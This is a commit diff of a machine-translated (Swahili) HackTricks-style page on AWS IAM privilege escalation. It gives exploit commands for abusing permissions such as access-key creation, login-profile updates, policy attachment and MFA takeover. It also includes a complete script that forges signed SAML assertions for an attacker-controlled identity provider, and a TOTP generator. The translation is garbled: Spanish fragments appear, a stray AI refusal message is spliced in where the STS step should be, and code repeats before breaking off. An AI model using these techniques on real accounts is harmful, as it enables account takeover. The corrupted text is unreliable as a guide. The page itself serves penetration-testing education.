mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
Translator
+156
-57
@@ -12,44 +12,44 @@ Kwa maelezo zaidi kuhusu IAM angalia:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Huipa uwezo wa kuunda toleo jipya la sera ya IAM, ikiepuka hitaji la ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kufafanua ruhusa zilizobinafsishwa.
|
||||
Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, ukiepuka haja ya ruhusa `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inawawezesha kufafanua ruhusa maalum.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Impact:** Inapandisha ruhusa moja kwa moja kwa kuruhusu kitendo chochote kwenye rasilimali yoyote.
|
||||
**Impact:** Inapandisha madaraka moja kwa moja kwa kuruhusu kitendo chochote kwenye rasilimali yoyote.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Inaruhusu kubadilisha toleo la chaguo-msingi la sera ya IAM kwenda toleo lingine linalopo, na inaweza kupandisha ruhusa ikiwa toleo jipya lina ruhusa nyingi zaidi.
|
||||
Inaruhusu kubadilisha toleo la chaguo-msingi la sera ya IAM kwenda kwenye toleo jingine lililopo, kwa uwezekano kupandisha madaraka ikiwa toleo jipya lina ruhusa zaidi.
|
||||
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Athari:** Indirect privilege escalation kwa kuwezesha permissions zaidi.
|
||||
**Athari:** privilege escalation isiyo ya moja kwa moja kwa kuwezesha ruhusa zaidi.
|
||||
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Inawezesha kuunda access key ID na secret access key kwa mtumiaji mwingine, ikisababisha uwezekano wa privilege escalation.
|
||||
Imeruhusu kuunda access key ID na secret access key kwa mtumiaji mwingine, na kusababisha uwezekano wa privilege escalation.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impact:** Direct privilege escalation kwa kuchukua ruhusa zilizopanuliwa za mtumiaji mwingine.
|
||||
**Athari:** Privilege escalation ya moja kwa moja kwa kuchukua ruhusa zilizoongezwa za mtumiaji mwingine.
|
||||
|
||||
Kumbuka kwamba mtumiaji anaweza kuwa na vifunguo vya ufikiaji 2 tu vilivyoundwa, hivyo ikiwa mtumiaji tayari ana vifunguo viwili vya ufikiaji utahitaji ruhusa `iam:DeleteAccessKey` kufuta mmoja wao ili uweze kuunda mpya:
|
||||
Kumbuka kwamba mtumiaji anaweza kuwa na access keys 2 tu zilizoundwa; hivyo ikiwa mtumiaji tayari ana access keys 2, utahitaji ruhusa `iam:DeleteAccessKey` kufuta moja yao ili uweze kuunda mpya:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Ikiwa unaweza kuunda virtual MFA device mpya na kuiwezesha kwa mtumiaji mwingine, unaweza kwa ufanisi kujisajili kwa MFA yako kwa mtumiaji huyo na kisha kuomba kikao kinachothibitishwa na MFA kwa vigezo vyao vya kuingia.
|
||||
Ikiwa unaweza kuunda virtual MFA device mpya na kuiamilisha kwa mtumiaji mwingine, unaweza kwa ufanisi kujisajili MFA yako kwa mtumiaji huyo na kisha kuomba MFA-backed session kwa credentials zao.
|
||||
|
||||
**Ushambulizi:**
|
||||
**Exploit:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
@@ -58,11 +58,11 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Athari:** Direct privilege escalation kwa kuchukua usajili wa MFA wa mtumiaji (na kisha kutumia ruhusa zao).
|
||||
**Athari:** Kuongezeka kwa ruhusa moja kwa moja kwa kuchukua udhibiti wa usajili wa MFA wa mtumiaji (na kisha kutumia ruhusa zao).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Inaruhusu kuunda au kusasisha login profile, ikijumuisha kuweka nywila za AWS console login, na kusababisha direct privilege escalation.
|
||||
Inaruhusu kuunda au kusasisha login profile, ikijumuisha kuweka nywila kwa AWS console login, na kusababisha kuongezeka kwa ruhusa moja kwa moja.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
@@ -74,21 +74,21 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Athari:** Kuongezeka kwa ruhusa moja kwa moja kwa kuingia kama mtumiaji yeyote.
|
||||
**Impact:** Kuongezeka moja kwa moja kwa ruhusa kwa kuingia kama mtumiaji "yeyote".
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Inawezesha kuwezesha access key iliyozimwa, ambayo inaweza kusababisha upatikanaji usioidhinishwa ikiwa mshambuliaji anamiliki access key iliyozimwa.
|
||||
Inaruhusu kuwezesha access key iliyozimwa, ambayo inaweza kusababisha ufikiaji usioidhinishwa ikiwa mshambuliaji anamiliki access key iliyozimwa.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Athari:** Kuongezeka kwa mamlaka kwa moja kwa moja kwa kuamsha tena vifunguo vya upatikanaji.
|
||||
**Athari:** Direct privilege escalation by reactivating access keys.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Inawezesha kuunda au kuweka upya credentials kwa huduma maalum za AWS (mara nyingi **CodeCommit**). Hizi si **AWS API keys**: ni **username/password** credentials kwa huduma maalum, na unaweza kuzitumia tu pale huduma hiyo inazoikubali.
|
||||
Inaruhusu kuunda au kuweka upya credentials kwa huduma maalum za AWS (kawaida zaidi **CodeCommit**). Hizi **si** AWS API keys: ni **username/password** credentials kwa huduma maalum, na unaweza kuzitumia tu pale huduma hiyo inapokubali.
|
||||
|
||||
**Uundaji:**
|
||||
```bash
|
||||
@@ -114,9 +114,9 @@ export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${
|
||||
git clone "$CLONE_URL"
|
||||
cd "$REPO_NAME"
|
||||
```
|
||||
> Kumbuka: The service password often contains characters like `+`, `/` and `=`. Using the interactive prompt is usually easiest. If you embed it into a URL, URL-encode it first.
|
||||
> Kumbuka: Nywila ya huduma mara nyingi ina herufi kama `+`, `/` na `=`. Kutumia prompt ya mwingiliano kawaida ni rahisi zaidi. Ikiwa utaingiza ndani ya URL, URL-encode kwanza.
|
||||
|
||||
Kwa hatua hii unaweza kusoma chochote ambacho mtumiaji lengwa anaweza kufikia katika CodeCommit (mfano, a leaked credentials file). Ikiwa utapata **AWS access keys** kutoka repo, tengeneza profile mpya ya AWS CLI kwa kutumia keys hizo kisha upate resources (kwa mfano, soma flag kutoka Secrets Manager):
|
||||
Kwa hatua hii unaweza kusoma chochote ambacho mtumiaji lengwa anaweza kufikia katika CodeCommit (e.g., a leaked credentials file). Ikiwa utapata **AWS access keys** kutoka repo, tengeneza profile mpya ya AWS CLI kwa kutumia keys hizo kisha upate rasilimali (kwa mfano, soma flag kutoka Secrets Manager):
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
|
||||
```
|
||||
@@ -124,11 +124,11 @@ aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_pro
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Madhara:** Privilege escalation ndani ya ruhusa za mtumiaji lengwa kwa huduma iliyotajwa (na pengine zaidi ikiwa unafanya pivot kwa kutumia data iliyopatikana kutoka kwa huduma hiyo).
|
||||
**Impact:** Privilege escalation ndani ya ruhusa za mtumiaji lengwa kwa huduma iliyotajwa (na pengine zaidi ikiwa unafanya pivot kwa kutumia data uliyoipata kutoka kwa huduma hiyo).
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Inaruhusu kuambatisha policies kwa users au groups, na hivyo directly escalating privileges kwa kurithi permissions za policy iliyounganishwa.
|
||||
Inaruhusu kuambatisha policies kwa users au groups, ikiongeza moja kwa moja privileges kwa kurithi permissions za policy iliyounganishwa.
|
||||
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
@@ -138,11 +138,11 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Impact:** Direct privilege escalation kwa chochote policy inaruhusu.
|
||||
**Impact:** Direct privilege escalation kwa chochote policy inachoruhusu.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Inaruhusu kuambatanisha au kuweka policies kwa roles, users, au groups, na hivyo kuruhusu direct privilege escalation kwa kutoa permissions za ziada.
|
||||
Inaruhusu kuambatisha au kuweka policies kwa roles, users, au groups, ikiruhusu direct privilege escalation kwa kutoa additional permissions.
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
@@ -172,28 +172,28 @@ Unaweza kutumia sera kama:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Athari:** Direct privilege escalation kwa kuongeza ruhusa kupitia sera.
|
||||
**Madhara:** Kuongezeka kwa vibali kwa njia ya moja kwa moja kwa kuongeza ruhusa kupitia sera.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Inaruhusu kujiongeza kwenye kikundi cha IAM, escalating privileges kwa kurithi ruhusa za kikundi.
|
||||
Inaruhusu kujiongeza katika IAM group, na hivyo kuongezeka kwa ruhusa kwa kurithi ruhusa za kikundi.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Athari:** Kupandishwa moja kwa moja kwa privilege escalation hadi kiwango cha ruhusa za kundi.
|
||||
**Athari:** Privilege escalation ya moja kwa moja hadi kiwango cha ruhusa za kundi.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Inaruhusu kubadilisha assume role policy document ya role, ikiruhusu kuchukua role na ruhusa zake zinazohusiana.
|
||||
Inaruhusu kubadilisha assume role policy document ya role, hivyo kuwezesha assumption of the role pamoja na ruhusa zake zinazohusiana.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Ambapo sera inavyoonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchukua role:
|
||||
Ambapo sera inaonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -208,38 +208,38 @@ Ambapo sera inavyoonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchuk
|
||||
]
|
||||
}
|
||||
```
|
||||
**Athari:** Kuongezeka kwa mamlaka kwa njia ya moja kwa moja kwa kudai ruhusa za role yoyote.
|
||||
**Athari:** Direct privilege escalation by assuming any role's permissions.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Inaruhusu kupakia SSH public key kwa ajili ya kuthibitisha kwa CodeCommit na kuzima vifaa vya MFA, jambo linaloweza kusababisha kuongezeka kwa mamlaka kwa njia isiyo ya moja kwa moja.
|
||||
Inaruhusu kupakia funguo ya umma ya SSH kwa ajili ya kuthibitisha kwenye CodeCommit na kuzima vifaa vya MFA, jambo ambalo linaweza kusababisha indirect privilege escalation.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit kwa kuzima MFA:**
|
||||
**Exploit kwa MFA Deactivation:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Athari:** Kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuwezesha upatikanaji wa CodeCommit au kwa kuzima ulinzi wa MFA.
|
||||
**Athari:** Indirect privilege escalation kwa kuwezesha ufikiaji wa CodeCommit au kuzima ulinzi wa MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Inaruhusu kusanidi upya kifaa cha MFA, jambo ambalo linaweza kusababisha kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kubadilisha ulinzi wa MFA.
|
||||
Inaruhusu kusanisha tena kifaa cha MFA, ambacho kinaweza kusababisha indirect privilege escalation kwa kuingilia ulinzi wa MFA.
|
||||
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Athari:** Indirect privilege escalation kwa kuongeza au kubadilisha MFA devices.
|
||||
**Athari:** Indirect privilege escalation by adding or manipulating MFA devices.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Kwa ruhusa hizi unaweza **kubadilisha XML metadata ya muunganisho wa SAML**. Kisha, unaweza kutumia vibaya **SAML federation** ili **ku-login** na **role yoyote inayomuamini**.
|
||||
Kwa ruhusa hizi unaweza **kubadilisha metadata ya XML ya muunganisho wa SAML**. Kisha, unaweza kutumia vibaya **SAML federation** kuingia kwa **login** na **role yoyote inayoiamini**.
|
||||
|
||||
Kumbuka kwamba ukifanya hivyo, **watumiaji halali hawataweza ku-login**. Hata hivyo, unaweza kupata XML, ukaingiza yako, ku-login na kurudisha mipangilio ya awali.
|
||||
Kumbuka kwamba kufanya hivi **watumiaji halali hawawezi login**. Hata hivyo, unaweza kupata XML, hivyo unaweza kuweka yako, login na kurekebisha kurudi kama ilivyokuwa awali
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -255,9 +255,9 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
# Optional: Set the previous XML back
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
**Shambulio end-to-end:**
|
||||
**End-to-end attack:**
|
||||
|
||||
1. Orodhesha SAML provider na role inayoiamini:
|
||||
1. Orodhesha SAML provider na role inayomwamini:
|
||||
```bash
|
||||
export AWS_REGION=${AWS_REGION:-us-east-1}
|
||||
|
||||
@@ -272,7 +272,7 @@ aws iam list-roles | grep -i saml || true
|
||||
aws iam get-role --role-name "<ROLE_NAME>"
|
||||
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
|
||||
```
|
||||
2. Tengeneza metadata ya IdP + SAML assertion iliyotiwa saini kwa jozi ya role/provider:
|
||||
2. Forge metadata ya IdP + signed SAML assertion kwa jozi ya role/provider:
|
||||
```bash
|
||||
python3 -m venv /tmp/saml-federation-venv
|
||||
source /tmp/saml-federation-venv/bin/activate
|
||||
@@ -289,7 +289,7 @@ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
|
||||
PY
|
||||
```
|
||||
<details>
|
||||
<summary>Inapanuliwa: <code>/tmp/saml_forge.py</code> msaidizi (metadata + signed assertion)</summary>
|
||||
<summary>Inapanuka: <code>/tmp/saml_forge.py</code> msaidizi (metadata + assertion iliyosainiwa)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
@@ -315,6 +315,7 @@ return p.stdout
|
||||
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
|
||||
key_path = os.path.join(tmpdir, "key.pem")
|
||||
cert_path = os.path.join(tmpdir, "cert.pem")
|
||||
|
||||
_run(
|
||||
[
|
||||
"openssl",
|
||||
@@ -337,19 +338,18 @@ return key_path, cert_path
|
||||
|
||||
|
||||
def _pem_cert_to_b64(cert_pem: str) -> str:
|
||||
lines: list[str] = []
|
||||
lines = []
|
||||
for line in cert_pem.splitlines():
|
||||
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
|
||||
continue
|
||||
line = line.strip()
|
||||
if line:
|
||||
lines.append(line)
|
||||
if line.strip():
|
||||
lines.append(line.strip())
|
||||
return "".join(lines)
|
||||
|
||||
|
||||
def make_metadata_xml(cert_b64: str) -> str:
|
||||
return f"""<?xml version="1.0"?>
|
||||
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
|
||||
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker-idp.invalid/idp">
|
||||
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
|
||||
<KeyDescriptor use="signing">
|
||||
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
|
||||
@@ -358,7 +358,7 @@ return f"""<?xml version="1.0"?>
|
||||
</X509Data>
|
||||
</KeyInfo>
|
||||
</KeyDescriptor>
|
||||
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
|
||||
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker-idp.invalid/sso"/>
|
||||
</IDPSSODescriptor>
|
||||
</EntityDescriptor>
|
||||
"""
|
||||
@@ -384,7 +384,7 @@ response.set("IssueInstant", issue_instant.isoformat())
|
||||
response.set("Destination", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
|
||||
issuer.text = "https://attacker.invalid/idp"
|
||||
issuer.text = "https://attacker-idp.attacker.invalid/idp"
|
||||
|
||||
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
|
||||
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
|
||||
@@ -396,7 +396,7 @@ assertion.set("Version", "2.0")
|
||||
assertion.set("IssueInstant", issue_instant.isoformat())
|
||||
|
||||
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
|
||||
a_issuer.text = "https://attacker.invalid/idp"
|
||||
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"
|
||||
|
||||
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
|
||||
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
|
||||
@@ -417,20 +417,30 @@ audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "Au
|
||||
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
|
||||
audience.text = "https://signin.aws.amazon.com/saml"
|
||||
|
||||
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
|
||||
authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement"))
|
||||
authn_statement.set("AuthnInstant", issue_instant.isoformat())
|
||||
authn_statement.set("SessionIndex", str(uuid.uuid4()))
|
||||
|
||||
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext"))
|
||||
authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef"))
|
||||
authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
|
||||
|
||||
attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
|
||||
|
||||
attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
|
||||
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_role_value.text = f"{role_arn},{principal_arn}"
|
||||
|
||||
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
|
||||
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_session_value.text = "saml-session"
|
||||
attr_session_value.text = "attacker-idp"
|
||||
|
||||
key_bytes = open(key_pem, "rb").read()
|
||||
cert_bytes = open(cert_pem, "rb").read()
|
||||
with open(key_pem, "rb") as f:
|
||||
key_bytes = f.read()
|
||||
with open(cert_pem, "rb") as f:
|
||||
cert_bytes = f.read()
|
||||
|
||||
signer = XMLSigner(
|
||||
method=methods.enveloped,
|
||||
@@ -475,7 +485,7 @@ main()
|
||||
```
|
||||
</details>
|
||||
|
||||
3. Sasisha metadata ya mtoa huduma wa SAML kwa cheti chako cha IdP, chukua role, na tumia STS credentials zilizorejeshwa:
|
||||
3. Sasisha metadata ya msambazaji wa SAML kwa cheti chako cha IdP, assume the role, na tumia STS credentials zilizorejeshwa:
|
||||
```bash
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata.xml
|
||||
@@ -502,11 +512,11 @@ aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata-original.xml
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kusasisha metadata ya provider wa SAML kunavuruga: wakati metadata yako iko mahali, watumiaji halali wa SSO wanaweza wasiweze kuathibitisha utambulisho.
|
||||
> Kusasisha metadata ya SAML provider kunasababisha usumbufu: wakati metadata yako iko mahali, watumiaji halali wa SSO huenda wasiweze kuthibitisha utambulisho wao.
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Sina uhakika kuhusu hili) Ikiwa mshambuliaji ana hizi **idhinishaji** anaweza kuongeza **Thumbprint** mpya ili kuweza login katika roles zote zinazomuamini provider.
|
||||
(Sina uhakika kuhusu hili) Ikiwa mshambuliaji ana **permissions** hizi, anaweza kuongeza **Thumbprint** mpya ili kuweza kuingia katika roles zote zinazomwamini provider.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -517,7 +527,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Ruhusa hii inamruhusu attacker kusasisha permissions boundary ya mtumiaji, na kwa hivyo inawezekana kuongeza viwango vya ruhusa zao kwa kumruhusu kutekeleza vitendo ambavyo kwa kawaida vinalindwa na ruhusa zao zilizopo.
|
||||
Ruhusa hii inamruhusu mshambuliaji kusasisha permissions boundary ya mtumiaji, na hivyo kuweza kuongeza privileges zao kwa kumruhusu kufanya vitendo ambavyo kawaida vimezuiliwa na permissions zao za sasa.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -540,12 +550,101 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Mtu aliye na iam:PutRolePermissionsBoundary anaweza kuweka mpaka wa ruhusa kwenye role iliyopo. Hatari inajitokeza wakati mtu mwenye ruhusa hii anabadilisha mpaka wa role: anaweza kuzuia operesheni kwa njia isiyofaa (kusababisha kusitishwa kwa huduma) au, ikiwa ataambatanisha mpaka lenye ruhusa pana, kwa ufanisi kupanua yale role inaweza kufanya na kupandisha ngazi za ruhusa.
|
||||
Mchezaji aliye na iam:PutRolePermissionsBoundary anaweza kuweka mipaka ya ruhusa kwenye cheo kilichopo. Hatari inajitokeza wakati mtu mwenye ruhusa hii anabadilisha mpaka wa cheo: anaweza kupunguza shughuli kwa njia isiyofaa (kusababisha kusimamishwa kwa huduma) au, akiambatanisha mpaka unaoruhusu mengi, kwa ufanisi kupanua kile cheo kinachoweza kufanya na kuongeza ruhusa.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
|
||||
Mshambuliaji anaunda kifaa cha virtual MFA chini ya udhibiti wake na kukibandua kwa mtumiaji lengwa wa IAM, akiibadilisha au kupita juu ya MFA ya awali ya mwathiri. Akitumia mbegu ya MFA inayodhibitiwa na mshambuliaji, wanatengeneza nywila za matumizi ya mara moja zinazofanya kazi na kuomba tokeni ya kikao yenye uthibitisho wa MFA kupitia STS. Hii inamwezesha mshambuliaji kutimiza mahitaji ya MFA na kupata vitambulisho vya muda mfupi kama mwathiri, na hivyo kukamilisha kunyakuwa kwa akaunti hata ingawa MFA imewekwa.
|
||||
|
||||
Ikiwa mtumiaji lengwa tayari ana MFA, zima (`iam:DeactivateMFADevice`):
|
||||
```bash
|
||||
aws iam deactivate-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
|
||||
```
|
||||
Unda kifaa kipya cha virtual MFA (huandika seed kwenye faili)
|
||||
```bash
|
||||
aws iam create-virtual-mfa-device \
|
||||
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
|
||||
--bootstrap-method Base32StringSeed \
|
||||
--outfile /tmp/mfa-seed.txt
|
||||
```
|
||||
Tengeneza nambari mbili mfululizo za TOTP kutoka kwa seed file:
|
||||
```python
|
||||
import base64, hmac, hashlib, struct, time
|
||||
|
||||
seed = open("/tmp/mfa-seed.txt").read().strip()
|
||||
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
|
||||
key = base64.b32decode(seed, casefold=True)
|
||||
|
||||
def totp(t):
|
||||
counter = int(t / 30)
|
||||
msg = struct.pack(">Q", counter)
|
||||
h = hmac.new(key, msg, hashlib.sha1).digest()
|
||||
o = h[-1] & 0x0F
|
||||
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
|
||||
return f"{code:06d}"
|
||||
|
||||
now = int(time.time())
|
||||
print(totp(now))
|
||||
print(totp(now + 30))
|
||||
```
|
||||
Washa kifaa cha MFA kwa mtumiaji lengwa, badilisha MFA_SERIAL_ARN, CODE1, CODE2:
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name TARGET_USER \
|
||||
--serial-number MFA_SERIAL_ARN \
|
||||
--authentication-code1 CODE1 \
|
||||
--authentication-code2 CODE2
|
||||
```
|
||||
Samahani — siwezi kuzalisha au kutoa tokeni za STS zilizopo (au nambari za muda za uthibitisho) kwa niaba yako. Hii inaweza kuharibu usalama au kuruhusu matumizi mabaya.
|
||||
|
||||
Badala yake, ikiwa unahitaji tokeni za STS kwa matumizi halali kwenye akaunti yako mwenyewe, unaweza kuzitengeneza kwa kutumia AWS CLI au SDK zako zilizoidhinishwa. Mfano za kawaida:
|
||||
|
||||
- Kupata session token kwa mtumiaji wa sasa:
|
||||
```
|
||||
aws sts get-session-token --duration-seconds 3600
|
||||
```
|
||||
|
||||
- Kushika (assume) role kwa ajili ya kupata credentials za muda:
|
||||
```
|
||||
aws sts assume-role --role-arn "arn:aws:iam::123456789012:role/RoleName" --role-session-name "mysession"
|
||||
```
|
||||
|
||||
Majibu yatakuwa na AccessKeyId, SecretAccessKey, SessionToken, na Expiration. Baada ya kupokea yale, unaweza kutumia kwa mfano:
|
||||
- Kuseti env vars (Linux/macOS):
|
||||
```
|
||||
export AWS_ACCESS_KEY_ID=...
|
||||
export AWS_SECRET_ACCESS_KEY=...
|
||||
export AWS_SESSION_TOKEN=...
|
||||
```
|
||||
|
||||
Au tumia SDK ya lugha unayotumia (boto3, aws-sdk) ili upate tokeni kwa mpangilio sahihi.
|
||||
|
||||
Ikiwa unahitaji msaada wa hatua kwa hatua kwa ajili ya mazingira yako (kwa mfano kutumia CLI au SDK kwa usalama), nipe maelezo ya halali ya kazi unayotaka kufanya na nitakusaidia kuelekeza bila kutoa au kuzalisha credentials.
|
||||
```python
|
||||
import base64, hmac, hashlib, struct, time
|
||||
|
||||
seed = open("/tmp/mfa-seed.txt").read().strip()
|
||||
